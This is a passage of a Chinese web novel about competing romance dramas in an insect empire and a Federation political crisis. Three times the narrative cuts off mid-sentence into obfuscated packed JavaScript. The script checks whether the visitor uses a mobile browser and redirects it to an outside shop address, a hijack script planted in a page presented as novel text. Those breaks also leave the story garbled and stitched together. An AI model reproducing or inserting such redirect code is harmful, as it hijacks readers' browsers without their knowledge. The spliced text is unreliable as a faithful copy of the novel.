军雌为了追求雄虫,甚至多次深夜偷溜到雄虫的窗下,为他用长笛吹奏来自远方的歌谣。 他看懂了雄虫眼中抹不去的那缕哀愁,也爱上了那抹忧伤的气质,下定决心要帮助他。 于是,他带着雄虫偷偷溜去军部,不惜违反禁止带普通人使用机甲的军规,也要带雄虫体验开机甲的乐趣。 久而久之,雄虫跟随着军雌体验了许多曾经未感受到的快乐,军雌毫无保留的爱意和对他时不时流露出的心疼,逐渐打动了他。 他也爱上了军雌。 终于,在一次皇家舞会后,两虫在后花园的湖边彼此告白了。 军雌单膝跪地,向雄虫求婚。 雄虫银色的眼眸,就如同水中的月亮一般皎洁无暇。他微微一笑,便引得头顶的群星都黯然失色。 军雌总算将他的水中之月,化为了怀中的明珠。 两人举办了盛大的婚礼。 雄虫当众宣布,自己此生只有军雌一个爱人。消息一出,全城哗然,虫们都感叹军雌命好,能嫁给这样美丽优雅,又忠贞不渝的完美雄虫。 婚礼结局的布设场景之盛大,所花经费之多,不是一般虫能想象的。 可以说,在剧情结构上,《水中之月》完全是和《霸道军雌》反着来的。 传统经典的雌追雄和前无古人的雄追雌。 前者的主角雌虫为了雄虫可以打破军规,另一个则恪守军规,视雄虫为无物。 两相对比之下,连傻虫都知道,观众会更喜欢前者的“纯爱”模式。 两剧的更新时间在同一晚。和《水中之月》一次性释出全集不同,《霸道军雌爱上我》依旧只更新了该死的二十集 但,就是在这样的背景下,应柏桥和秦铮不紧不慢地放出了下一枚重磅炸弹。 开机甲兜风算什么? 你见过雄虫亲自做机甲,修机甲,还上战场和雌虫并肩作战吗? 《霸道军雌》让你一次性看个过瘾! 制作组几乎是疯了一般,什么大场面特效都往上砸。 小到西尔维做机甲时,脑海中浮现的奇思妙想,和艾菲尔约会时,周围突然出现的繁星环绕; 大到和外星异种硬碰硬的星火漫天,刀光剑影,战场上真实的血流成河,残骸遍地…… 只有你想不到的,没有《霸道军雌》做不到的!从浪漫的约会场景,到战场的热血厮杀,全都能满足! 哪个军雌不爱看这样激烈刺激的场面呢? 而且,是向来娇生惯养的小雄子开机甲哎! 哈洛特城突然遭遇异种突袭,在人手不够的危急关头,总是站在艾菲尔身后的小秘书西尔维走了出来—— 他自幼喜好机甲和武器,虽然从小被教导“这种事交给雌虫就行”,但他还是执拗地弄来了各种资料和机甲零件自己琢磨。 而现在,他多年来的努力派上了用场: 西尔维跟着为数不多的机甲修理师一起,马不停蹄地整修着换下场的设备。 他一边担忧地看着军雌们不知疲倦地更换机甲作战,一边不断加快手里检修的速度,娴熟程度完全不亚于那些身经百战的老手。 由于他没有自爆雄虫身份,那些老兵对他呼来喝去,因为他偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他已经虫化的眼睛变异为了近乎诡异的竖瞳,黑色的瞳孔缩成了针尖大小,意气风发的高光也完全熄灭。 他努力控制住麻木的躯体,用尽最后一点力气,举起小狗挂件,在唇边轻吻了一下。 从未动情的雌虫,此刻竟流下了令人哀恸的血泪。 他启唇说出了最后一句遗言:“我此生,为家国而死,也不算白来。有过真心爱我的虫,更是无上的幸运。” “只是,我无法再回应他了。” 他的笑容,在那张饱经战火洗礼的面容上,在硝烟纷飞的战火中,竟显得格外凄美。 雌虫微笑着闭上了眼睛,准备进行自爆,与异种同归于尽—— “艾菲尔——” 突然,一声几近破音的嘶吼,将艾菲尔的神智重新拉了回来。 雌虫猛地睁开眼睛,他听见了西尔维的呼唤。 “西尔维?他怎么会在这里!他们怎么能允许一只从未有过作战经验的虫上战场?”雌虫透过机甲的触控屏向外望去—— 只见驾驶着机甲的雄虫,杀红了眼一般冲破了异种的包围,朝着他飞来。 艾菲尔的眼睛瞬间也红了,他微微张唇,但还没有来得及说出口—— 画面上便缓缓出现了四个字:未完待续。 【剧组你是不是有病!】 【识相点放出后续剧情!他雌父的,看雌虫的剧情居然害我哭得更惨了!】 【哪个上过战场的兄弟能不共情啊!艾菲尔要是能活下来,妥妥的特级军功章啊!最后那个笑,草,我一个雌虫都心疼了!】 #雄虫修机甲# #霸道军雌爱上我催更# #西尔维&艾菲尔 绝美爱情# 这几个此条瞬间登上了星网热搜第一。 至于《水中之月》? 作为万人迷虫皇的作品,又是经典题材,受众自然大有人在。只是在真枪实弹的雄虫开机甲面前,还是有些平平无奇了。 皇帝寝宫里,乔瓦尼的眼眸中闪过淡淡的不悦,他轻启红唇,吩咐道: “《霸道军雌爱上我》抄袭哈洛特集团旗下作品的宣传标语,暂且下架处理吧。” 11. 联邦线:里尔无能狂怒 一夜之间,《霸道军雌爱上我》的官号主页变成了一片空白。只有一条来自国家文化局的下架通知挂在中间。 “由于《霸道军雌爱上我》宣传方涉嫌抄袭哈洛特集团旗下作品的宣传语,该剧已作下架处理,整改完毕后,将再次进行审核。” 虽然有些不满,但观众们还是可以通过他人的录屏观看最新内容,精彩剧情的切片也仍在网络上传播,因此,虫们也只当这是一次平平无奇的网警审查,抱怨了两句也就散了。 没有虫想到,这则下架的命令竟然是由虫皇直接发布的。毕竟在他们心中,虫皇是那么地纯洁善良,大爱无私。 于是,《水中之月》取代《霸道军雌》,顺理成章地成为了热搜第一。雌虫们再次聚集到评论区,和往常一样,为忧郁自怜的雄虫阁下欢呼和落泪。 甚至,连克兰德元帅都不知道,这则命令来自他最亲近最崇拜的伴侣。刚结束一周发情期的他,正盯着自己的光脑皱眉。 手背上一根根青筋爆起,克兰德捏着光脑的力气越来越大,越来越大,他的眉头皱得简直能夹断一根成年雄虫的手指。 该死的,怎么把给雄主的消息发错了人,而且,还是发给了那个假笑长毛怪! 好在,他还记得这个光脑是自己前不久才换的,这才稍稍克制了力道,让这个倒霉的机器得以幸免于难。 长按消息,撤回—— 不行,已经过了撤回的期限。金发元帅低低地骂了句虫族脏话,问候了一嘴制作社交软件的设计师雌父和雄父。 但是,这消息他是非删不可。难道要留到下次谈判,让那个虚伪的服装店假人嘲笑他吗? 想到这,克兰德立刻拨打了副官莱特的电话。 可怜的莱特刚刚经历了一次给长官发错消息的折磨,又被迫去帮长官清除消息。 他求了好几次通讯公司,又厚着脸皮去拜托许久未联系的黑客朋友,忙活了半天,这才确保诺尔曼的光脑里不会留下克兰德的“黑历史”语音。 气喘吁吁的莱特敲响了元帅办公室的雕花木门,过了几秒,里面才传来元帅冷冷的声音: “进。” 莱特进门后,定睛一看,瞬间悲愤交加: 克兰德正舒舒服服地靠在定制的柔软皮质躺椅上,开着巨大的投屏,观看今晚最新上线的短剧《水中之月》。 天杀的!自己四处求爷爷告奶奶,好不容易才给长官擦了屁股,结果长官自己悠哉悠哉地在办公室里享受伴侣最新出品的短剧! 同时接受了狗粮和不公待遇双重打击的莱特,深吸一口气—— 锐利的目光立刻扫了过来,克兰德按了下暂停键,冰冷的金眸扫视着面前的下属。 莱特立刻偃旗息鼓,窝窝囊囊地汇报:“报告长官,诺尔曼副总统的光脑里,您发给他的文件已经删除,绝对不会留痕。具体的报告稍后发到您的光脑中。” 为了防止自己被元帅猜忌偷听消息,导致日后被制裁,他又赶紧补了一句:“您和诺尔曼副总统之间的信息采用了特殊的加密技术,我和技术人员只负责删除了消息,无法查看具体的信息内容,请您放心!” 战战兢兢地等了一会,克兰德才简短地“嗯”了一声,放他离开了。 浑身僵硬地走出办公室后,莱特忍不住长舒了一口气,然后迫不及待地打开了自己的光脑: 《水中之月》固然好看,但剧情还是太常见了,听说昨天《霸道军雌爱上我》更新了小雄子开机甲的高燃剧集,特效帅爆了,这还不冲! 然而,兴奋追更的雌虫并不知道,隔着一扇门的克兰德,此时观剧的状态并不专心。 《水中之月》的剧情依然保持了乔瓦尼一如既往的高质量,浪漫的叙事依旧让雌虫着迷不已,但他在观看时,总有些心不在焉。 就像是有只小虫子的毛茸茸触肢在搔刮他的心脏一般。 前几周,《霸道军雌爱上我》几乎成了他唯一的消遣。作为自家雄主的骨灰级粉丝,克兰德从来瞧不上别家东施效颦的短剧。 但这部《霸道军雌》不一样,和雄主完全不同的叙事方式,完全不同的纯爱表达,以及虽然很不情愿,但不得不承认的,不亚于雄主的超高制作质量,都让雌虫对这部剧产生了难得的好感。 甚至,剧里雌虫第一次甩开雄虫的手,留下小雄虫一人怅然若失的场景,让他感受到了第一次看到雄主拍的短剧时,内心如三千只小虫子在心上打鼓般的悸动和不断蔓延出的酸甜。 有点虐,但又抓耳挠腮地想看。 就这样,克兰德面无表情地把《霸道军雌》看了一遍又一遍,甚至打赏都投到了前十。 但是,在雄主出品的剧集和不知道哪里冒出来的野生短剧之间,他自然会选择雄主。 从白天看到傍晚,总算是看完了《水中之月》的全部内容,克兰德的眉眼间难得出现了几分舒心的状态。由于身处无人的安全环境,他甚至放出了蝴蝶类虫族的柔软触角。 乔瓦尼惯用的氛围感拍摄手法,让剧中的雄虫如同神明一般高洁温柔,同时,又兼具了柔弱的美感,最是契合雌虫的保护欲和怜爱欲。 不过,克兰德则是在吃“代餐”,他从这个演员身上看到了属于乔瓦尼的特质,这部短剧对与雄主聚少离多的雌虫来说,简直就是一剂相思解药。 手指在屏幕上轻点,克兰德和以往一样,将《水中之月》的打赏投到了榜一。尽管乔瓦尼不再需要他的资助,但这就像是夫夫之间的小情趣一般。 然而,虽然行动上在给《水中之月》打赏,克兰德的目光却不受控制地挪向了下方推荐—— 《霸道军雌爱上我》:艾菲尔遭敌袭性命攸关,西尔维开机甲霸气护夫! 雌虫金发间的两根触角疑惑地动了动,在空中打了个转。如果没记错,上一集结尾,主角二人似乎还在商量着约会。怎么突然跳到战争频道了? 他正要点开剧集开始观看,却跳出了一行提示: 该视频因涉嫌违规,已被下架。 “下架?”克兰德忍不住出声。他点开了官号主页,读完通知后,才得知是因为涉嫌抄袭宣传语。 之前让他们整改,没有照做?克兰德皱了皱眉。 那被下架也是活该了。他关掉放映机,收起设备。 雌虫的蝴蝶触角乖乖缩回了发间。克兰德穿上了定制的军装外套,戴上帽子,又从放松的状态变回了人人畏惧的铁血元帅。 他推开大门,走出办公室——然而下一秒,又折返了回来。 指尖在办公桌的内线电话上划动,克兰德很快选定了自己要通知的对象。 “您好,元帅大人,请问有什么吩咐?” “我记得,你和文化局的局长相熟?”克兰德直入主题。 “没错,我们一直保持联系。请问您是有什么事需要我告知吗?” “帮我告诉他一声,”克兰德轻描淡写地回答,“如果那部《霸道军雌爱上我》的短剧整改了宣传词,就给他们尽快审核通过。” “啊?” “没听懂?” “啊!我明白了,我会转达对方,尽快让这部剧重新上架!” “我想过会很快,但没想到这么快。”应柏桥轻哼了一声,他的手指在光脑上点击了“发送”按钮,所有下架的剧集又重新上线了平台。 “嗯,目前来看,观众们对于重新上架剧集的反响很热烈。”秦铮一边埋头监视着评论区动向,一边回答。 骨节分明的修长指节,在桌面上轻敲了两下,应柏桥望着正在拍摄配角剧情的导演组成员若有所思。 “这么看来,我们的克兰德元帅比想象中还要好‘攻略’啊。”他将双手交叉,置于下颌之下,抬眼看向秦铮。 对方察觉到他的视线,立刻从平板中抬起头,微微偏过脑袋回以一个疑惑的眼神。 自从上次的美瞳事件后,除了在剧中,两人几乎就没有过于亲近的接触了。应柏桥甚至觉得,秦铮正出于小动物的直觉,在与他拉开距离。 然而,这种拉开距离未必是坏事。应柏桥冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171793|196838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦铮摇了摇头,表示无事发生。 这意味着,小动物已经对你产生了好奇,并且尝试再次确认你是敌是友。 倘若能让他肯定你,此后,便会无条件献出自己的真诚,甚至真心。 青年有力的指节不自觉蜷缩了一下,眸中闪过了一丝兴奋和期待的情绪。他很清楚,自己想要秦铮成为更亲密的搭档和伙伴。 不过,不能着急。 应柏桥站起身,笑着对秦铮说:“我的意思是,我们可以回联邦了。” “那边还有个‘昏君’等着我们收拾呢。” 再次踏上联邦的土地,应柏桥和秦铮靠着光脑里打赏得来的大笔财富,住进了最豪华的酒店,还换了一身行头。 两人走进酒店大堂时,几乎吸引了所有人的目光。 黑色短发的青年,身着一身纯白色的西装,并不过分华丽。但身上佩戴的金质徽章,暗示着他大概是某位高官家的公子。而他身边的秦铮,身份更是昭然若揭,低调的墨镜,深色的军装上几颗星星极其耀眼。 这……分明是世家公子和相熟的军部上将出来鬼混啊! 看他俩的架势,这亲密的手挽手姿势,分明就是有染!来酒店的目的更不用说,肯定是要春宵一度! 然而,公子哥才不管他们说什么,直接把银行卡往前台一甩,抬起下巴嚣张地示意工作人员: “给我开你们这最好的房间,每样餐品各给我送一份来,要多少钱你自己刷。” “要快——听到没——”应柏桥甚至不轻不重地敲了两下前台的大理石桌面,张狂的嗓音在放着悠扬乐曲的大厅显得格外扎眼。 围观的群众虽然大多也是大富大贵之人,但还是受不了这种二世祖模样的张狂习气,很快便窃窃私语起来。 应柏桥不屑一顾的表情和动作也被人拍了下来。 然而,这正是他和秦铮想要的效果。 和在虫族一样,他们也要从联邦的舆论下手,整垮里尔。 次日,“贵族公子哥与神秘上将甜蜜开房”的话题便上了联邦娱乐头条。人们对八卦总是喜闻乐见,不少人甚至在底下舔颜。 然而,事态很快就变得让人笑不出来了。 同一天,一则小道消息开始在网上流传,前些时日发生的小型暴乱中,犯罪分子是由于配给制度根本无法满足温饱,才愤而起义的。 甚至,还流传出几张村民在沙漠中挖仙人掌和地下水为生的照片。 一时间,全网哗然。 民众开始质疑:为什么军部的公子哥和军官能轻松享受最优质的待遇,甚至花天酒地,四处胡搞,而普通民众却要遭受战争的后遗症折磨,甚至,被逼得出来造反呢? 本就有些低迷的民心瞬间慌乱了起来,一篇痛批官二代和军部腐败作风的文章,更是在网上广为流传。 消息自然也传到了里尔和诺尔曼的耳中。 “岂有此理!”里尔暴怒地一挥手,将桌上的相关文件一扫而空,桌面也跟着震了三震。 “军部一直以来作风良好,哪里亏待了这些民众!最低水平保障不也一直在发放吗?” 他的眼睛因为愤怒而遍布血丝,里尔抬头质问闷不吭声的下属们:“我说错了吗!” “没有,当然没有。”乔治森率先走上前,两手轻柔地搭在里尔的肩膀上,顶着诺尔曼警告般的目光,安抚里尔的情绪。 诺尔曼由于在上次作战中试图违抗命令,现在被里尔单方面“冷战”。除非他真正意识到自己的错误,否则里尔短期内不希望他和自己有过多接触。 因此,他只能站在一众军官之间,眼睁睁看着那个疑似和爱人有暧昧的乔治森,代替他安慰里尔! 白皙的掌心被掐出了一个个血印,诺尔曼的眼神几乎要被妒意所侵蚀,他恨不得砍了乔治森的两只脏爪子! 然而下一秒,里尔竟然抬头望向了他,几个星期来一直冷漠如路人般的眼神里,又出现了爱意和笑意。 “这件事,可以交给你处理吗,诺尔曼?” 12. 联邦线:诺尔曼力挽狂澜 “副总统阁下!您确定要缩减军费开支吗?总统那边是否同意……”下属迈着小碎步跟在诺尔曼身后,焦急地询问。 “找我说的做。”诺尔曼将长发梳得一丝不苟,看不到一根碎发,一改往日松松扎起的低马尾发型,表情也不复往日画在脸上一般的微笑。 他头也不回地吩咐下属:“眼下最紧要的是解决舆论危机和配给制度的问题,这件事总统已经全权交给了我,缩减军费的事情暂时不要告诉他。” 他的眼神中闪过一丝阴霾:只是几个月没有参与国内政治,这些军部的老东西就猖狂成这样!他捏紧了手里厚厚的账簿。 军部上下,部长级别以上的官员,几乎人均从军部的研发开支里捞过油水,而且都不是小数目! 要不是里尔只委托他负责解决舆论,他真想亲自整顿这帮厚颜无耻的败类。前任皇帝的浅粉色眼眸中燃起一簇小小的怒火。 然而,一想到方才会议室里的场景,诺尔曼眼里的那簇火苗又瞬间熄灭了,转而出现的,是充斥着爱意与疯狂的猩红。他的唇角也露出了甜蜜的微笑。 “这……副总统阁下常年不接触国内事务,他怎么知道如何处理舆论危机呢?”听完里尔的提议,财政部长犹犹豫豫地提出异议。 这位肥头大耳的部长,在里尔当上总统前,一直是军部的一个小官员。但此人阳奉阴违,多次帮里尔收集小道消息,帮助其夺回了元帅宝座,因此里尔在上位之后,将其提拔为了财政部长。 但事实上,此人只是个擅长阿谀奉承的墙头草。他背地里也曾帮助前任军部领袖试图杀害里尔,只是被诺尔曼及时发现了。 诺尔曼差点把这只妄图在里尔杯中投毒的蠢猪掐死。可惜爱人及时赶到,救下了这头肥猪。 里尔得知其双面间谍的身份后,非旦没有生气,反而怒斥诺尔曼不懂得珍惜下属。而这根墙头草更是顺势表忠心,后悔得痛哭流涕。 但诺尔曼很清楚,他之后没有再继续帮助前任元帅,完全是被自己吓得不敢了。很长一段时间里,这头猪看到自己的照片都要打哆嗦。 “呵。”诺尔曼轻笑了一声,现在成了财政部长,又有底气和自己作对了? 肥猪部长看都不敢看诺尔曼一眼,摆出一副憨厚老实的样子,劝说里尔:“虽说罗斯副总统当年主动奉上皇冠,也算功绩一件,但江山毕竟还是靠您和军部打下来的,让副总统阁下来负责,是否有些……” “别说了!”里尔却一挥手,打断了他的话。眼里闪过一丝无人察觉的心虚和恼火。 当年里尔能够从贫民窟重新上位军部,并征服罗斯帝国,少说也有一大半的功绩是诺尔曼打下来的。 毕竟他是目前人类最强的精神力使用者。更别提诺尔曼从小在皇宫中长大,当过皇帝,领导过改革。虽然惨遭流放,但依旧积累了丰富的政治经验,其控制舆论的能力更是让人胆寒。 前帝国人民,至今都在怀念诺尔曼·罗斯带给他们的,短暂的光明时期。 那双号称“只对敌人出拳”的手不自觉地动了动,里尔恨不得将财政部长那张叭叭个不停的嘴狠狠封上。 但他只能装出无事发生的模样,假装自己是因为“护短”才打断了对方的话。 毕竟,在众人眼中,他里尔,才是站在人前的英雄和救世主。 不过话又说回来,里尔又心安理得了一些,谁说人们口口相传的“谣言”没有道理呢? 驯服一条恶犬,可是需要花费许多时间的。你要与他亲近,用甜言蜜语和所谓的大义让他爱上你,敬佩你。在适时的时候展露自己的伤疤,让他心疼你。 然后,你就能获得一条对你爱得死心塌地的家犬了。虽然偶尔流露出的急色和疯狂有些烦人,有时候过于在乎你导致会影响你的计划。但没关系,相较于你能获得的东西,这些都不算什么。 甚至,这种疯狂也能为人所用。旁观者会同情你被恶犬折磨。在这个疯批到不顾一切的恋爱脑面前,你对他的每次放弃,都会变得无比合理,无比正义。人们会赞扬你的大义和无私。 这些心理活动,就是里尔的潜意识。但他终究还保留了一些身为强者的自尊,即使表面工作已经够好,他还是希望自己能早点脱离对诺尔曼的依靠。 因而,他的眼中划过几分暴躁和不耐。为了度过这次危机,他不得不向诺尔曼求助。 “我相信诺尔曼的能力,”里尔不再看财政部长,而是转而向诺尔曼投去一个安抚和信任的眼神。没有人看出,那眼神中暗藏着一丝的尴尬和愤怒。 一双柔情似水的眼眸中迸发出炽热而又欣喜的感情,诺尔曼的眼睛如同岩浆一般炽烈燃烧,几乎能将爱人融化。 里尔也不禁为之动容,他几乎忘记了诺尔曼前段时间带给自己的不快,忘记了自己阴暗的情绪,甩开了乔治森放在自己肩上的手,走到了诺尔曼面前。 像是君王对待自己的下属那般,庄重却又疏离地,他的手轻轻按在了诺尔曼的肩膀上,黑色的眼睛流露出一丝诺尔曼渴求许久的柔情。 然而,对方却立刻伸出手,将他的手指紧紧包裹在有力的五指之间,掌心的温度更是要将里尔烧化。 原先里尔设想的君臣有别的慰问,染上了一层让他分外不爽的暧昧色彩。 他立刻抽回了自己的手,顶着诺尔曼一眨不眨的眼神往后退了一步,重又和他保持到安全的社交距离。防止这条狗又上来发疯。 被诺尔曼碰过的那只手,死死地攥成了拳,他几乎用尽了自己的全部礼仪,才咬着牙微笑地对诺尔曼说:“去做吧,不要辜负我对你的信任。” 众人如潮水般散去。里尔在办公室里静静地站了片刻,突然一脚踹向了摆放整齐的办公椅。 另一边,诺尔曼却沉浸在里尔与自己和好的喜悦中。只是想起肥猪部长的那番话,他的手指忍不住在桌面上轻点,眼神晦暗如血红色的朱砂。 这些人不仅仗着和里尔的交情为非作歹,还在背地里说自己的坏话,破坏自己和里尔的关系。要不是看在里尔的份上,真想把这些人都杀掉…… 不过很快,诺尔曼的嘴角又勾起了一抹微笑。 打开办公室的门,施施然在桌前坐下,他看着桌面上的那一页文件。 乔治森……呵呵,在里尔面前装得人模人样,背地里居然直接利用军工厂给家族产业制造商品。 粉色的眼睛里闪烁着胜利的笑意,诺尔曼用手指轻轻抚过那一页,嗓音柔和而又低沉:“你说,里尔知道你做的这些好事吗?” 竟然敢在自己面前和里尔亲密接触,还把手放在他的肩上。诺尔曼轻轻捻起那张记录着乔治森罪证的文件,将它珍惜地放进了自己的办公桌抽屉里,上了锁。 先让你快活两天吧,乔治森。等我处理完里尔交代的事务再来“处理”你。 哦不……诺尔曼的手指在下巴上摩挲了两下,他歪着头看向桌上的里尔相框,或许让里尔亲自处置你会更好。 嘴角的微笑难得真情实感了起来,粉色的眼珠里充满了恶趣味和“大仇得报”的兴奋,他就像一个小孩成功从班上的坏孩子手里抢回心爱的玩具一样激动得无法自拔。 但是,一阵“滴滴”的铃声打断了他一个人的“狂欢”。 这个铃声是专门用于通知重要事件的。 打开光脑的邮件栏,诺尔曼的情绪平复了少许,但在看到信息的那一刻,细长的眉毛不禁微微扬起。 “什么叫,克兰德·菲兹已撤回一条消息?” 光脑上,雌虫先前误发的那条语音已经消失得干干净净。 诺尔曼不禁笑出了声,眉眼间难得露出了几分戏谑的情绪:他几乎能想象到,那个金毛犬是怎样绷着脸,吩咐下属立刻马上把消息给删除。 “看到误发的时候,估计光脑都被捏碎了吧……”诺尔曼笑盈盈地用指尖在桌上轻点,敲出欢快的节奏。 今天还真是双喜临门,先是乔治森的尾巴被他抓住,后有金毛恶狗给自己送乐子。 手指在光脑的输入页面停留了很久,诺尔曼的良心最终还是战胜了恶趣味,不再去刺激那位雌虫刚刚结束发情期的“脆弱”心脏。 还是快点完成里尔交代的任务吧,诺尔曼的嘴角又上扬了几分。他几乎能想到,自己完成任务后,里尔会露出怎样的笑颜了。 运气好的话,眼眸中的兴奋几乎无法掩藏,或许里尔会原谅自己,让自己重新住回总统宅邸呢。 大脑在飞速构想完成任务后里尔的各种反应,眼睛也没有闲着,一行行扫过繁杂的文件。不多时,诺尔曼啪地合上文件,叫来助理。 “按我说的去做,半天给我汇报一次。另外,给我准备飞行器,我要亲自去叛乱地点考察慰问。” 助理到办公室时,诺尔曼正在更换联邦的官员制服,这套朴素毫无花纹的衣服,几乎没有官员会主动穿着。他的眼神中,暗含上位者与生俱来的傲慢和对军部那群废物点心的轻蔑。 低着头应声的下属感受到了前所未有的压力。男人转过身来,即使穿着普通的深黑色西装,也依旧藏不住威压。 “见了鬼了,不是说诺尔曼副总统只是个花瓶吗!难道,这就是来自前任帝国皇帝的威严?”助理一点都不敢抬眼,哆哆嗦嗦地在心里腹诽。 “听见了就下去吧,”诺尔曼从他身边走过,轻飘飘地丢下了一句,“做得不好,那你的职位也别想要了。” “……是!” 很快,总统的新制改革便登上了各大报刊和网络。 针对配给制存在的缺陷,联邦副总统诺尔曼·罗斯代表政府作出了深刻的反思,并且亲自前往暴乱发生的小镇慰问。 星网的每个频道都在实时转播慰问的画面,那个被称为“花瓶”的副总统,身着一身朴素的制服,走进了这个荒芜的小镇。 然而,还没进到居民家中,他就被躲在土堆后偷偷观察的小孩扔了石块和沙土。 人们眼睁睁地看着向来精致体面的副总统,不躲不藏,不动用精神力反击,就这么被沙土扑了满脸,石块把联邦官员简陋的制服砸出了一个小洞。 但还没等保镖上前捉拿几个小孩,诺尔曼便主动走上前,不气不恼,反而挂着一抹愧疚的微笑。他弯下腰,冲他们鞠了一躬:“对不起,让你们受苦了。” 霎时间,星网前的观众,站在家门口冷眼旁观的贫民,还有那几个扔石头的孩子,全都被惊得鸦雀无声。 鞠躬过后,诺尔曼久久才直起腰,又蹲下来,平视那帮被吓得不知所措的小孩,眼神柔和而又平静,语调不急不缓,带着安抚和歉疚:“你们有怨气是正常的,但是可以给我们一个改进的机会吗?” 被黄土染得灰黄的鞋子,向村子的中央走去,诺尔曼挥去了保镖的护卫,在诸多贫民的目光中,又深深地鞠了一躬。 “我代表总统阁下前来,总统阁下委托我转达他最深的歉意!让你们受苦了!” 此话一出,村民们眼里也流出了委屈而又感动的泪水,这些一辈子没进过首都,甚至没去过城市的老百姓哪里见过大官跟自己鞠躬道歉的模样,就算有再多的怨气,此刻也消去了大半。 但也有人依然忿忿不平,冲着诺尔曼喊道:“你们说得好听,行动呢?” 诺尔曼重新直起腰,看向了那人,镜头清晰地拍下了他那坚定而又有力的眼神,他的话语里满是从容和笃定:“请看看村口吧,这就是我们的诚意。” 镜头转向了村口的小路,只见一辆辆货用飞行器整齐地降落在黄沙之上,一箱箱营养液和补给用品被机械手臂抬了下来。 仅仅用了几十分钟,一个小型的应急补给站便搭建完成了。村民们看得目瞪口呆,他们不禁又望向诺尔曼。 对方的语气里带着淡淡的自豪:“这就是里尔总统的新政策。” 一夜之间,联邦所有的贫困小镇,都设置了贫民专用补给站,所有物资都以惊人的速度在一天之内配备齐全。 每个补给站点提供的食物和其他补给,都足以满足当地贫民的温饱。副总统承诺,这条补给产线将不会切断,补给站点也会永久向贫民开放,确保不会再出现被迫挖树皮的现象。 “这都是总统阁下的指示,他总是以最快的速度相应人民的需求。”诺尔曼解释道。 随后,他话锋一转,语气变得低沉了些,眼睛里染上了忧郁的情绪,浅粉色的眼眸暗淡下来,让人为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171794|196838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之心疼。 “由于有心之人的隐瞒,总统阁下并不知道涓滴计划和配给制出现了漏洞,在得知消息后,他由于怒急攻心……病倒了。” 诺尔曼的手指微曲,导播接收到暗号,连忙切进来一个视频。 视频中,在新闻中永远意气风发的里尔·格里奇总统,脸色苍白得不成样子,他虚弱地躺在病床上,被子上还堆满了文件和档案袋。 “希望新政策可以弥补我的过失,”他冲着摄像机勉强笑了一下,然后忍不住偏过头咳嗽了一声,黑色的眼睛失去了光彩,“我真的,真的,非常对不起你们……” 【不,总统阁下,不是您的错!】 【天哪我真的要哭了呜呜呜呜呜,虽然新闻刚出的时候我也骂过阁下,但没想到阁下居然气得病倒了……】 【要怪就怪那群无用的军部老头!还有,前段时间那个公子哥开房的事!总统阁下肯定管不到这些啊,都是下面的人没有管好。】 【所以会不会管这些贪官和废物上级呢?】 【楼上的,总统都虚弱成这样了,有必要挑刺吗!饭要一口口吃,事要一件件办。应急补给站这么快建起来,还不足以证明总统的能力和诚意吗!你以为这么多需要调研的地方,这么多站点和物资,是那么好解决的?】 诺尔曼的这波洗白可谓是大获成功,公众暂时忘记了官吏的腐败黑暗,贫民暂时忘记了对里尔的愤懑,高层可以暂时松口气,政府的公信力也重新回归。 然而,正当忙得脚不沾地,久久没有回家的诺尔曼,心情愉悦和期待地收拾文件准备重回总统府邸时,里尔却冲进了他的办公室,双目赤红。 “你给我解释下,这是怎么回事!”愤怒的巴掌重重地拍在桌上,但对诺尔曼来说,却像是被打了一耳光一样难堪。 诺尔曼看向里尔带来的那一沓文件,是财政部近期的开支表。 “你要办补给站可以,但你给我解释一下,为什么要扣下军部的薪资,为什么要克扣研发开支!”里尔的质问如同重重的拳头,一拳又一拳打在诺尔曼凉了一半的心上,“你难道不知道,研发新武器对我们打击虫族有多重要吗!” “里尔,不要太过生气。”还没等诺尔曼解释,乔治森便不紧不慢地踱了进来,站在了气得发抖的里尔身边。 狡黠的光芒在他眼里闪烁,他一脸小人得志的表情,嘴里却说着惊惶劝慰的话语:“诺尔曼也是为了解决危机,不要对他太苛责了。” “况且,”他的眼里露出一丝残忍的笑意,在诺尔曼几乎要吞噬他的怒火中,将手掌轻轻搭在了里尔的肩头,“他还是你的伴侣。” “滚他大爷的伴侣!”里尔狠狠甩开乔治森的手,眼里的怒火更盛,“我看他就是仗着总统伴侣的身份,才敢在这为所欲为!” 乔治森也不恼,缓缓将手插回了口袋:“好在及时查清了,不是吗?” “查清什么?”诺尔曼冷冷地打断了他的话,他就该早点把贪污的事上报,不然还容得下乔治森在这嚼舌根,破坏他和里尔的感情? 好在,现在也来得及。 稍稍平复了一下被里尔怒斥的心情,诺尔曼深呼了一口气。虽然这种事时常发生,但今天毕竟是他期盼已久的,两人和好的日子。被里尔不分青红皂白地指责,还是让他有些心乱了。 他绕到办公桌后打开抽屉,拿出了那份证明乔治森利用军工厂私造商品的证据,递给了里尔:“不如你先看看这份资料,或许就会明白……” “啪——”文件夹被一巴掌拍落,纸张在空中纷纷扬扬地飞舞,散落一地。 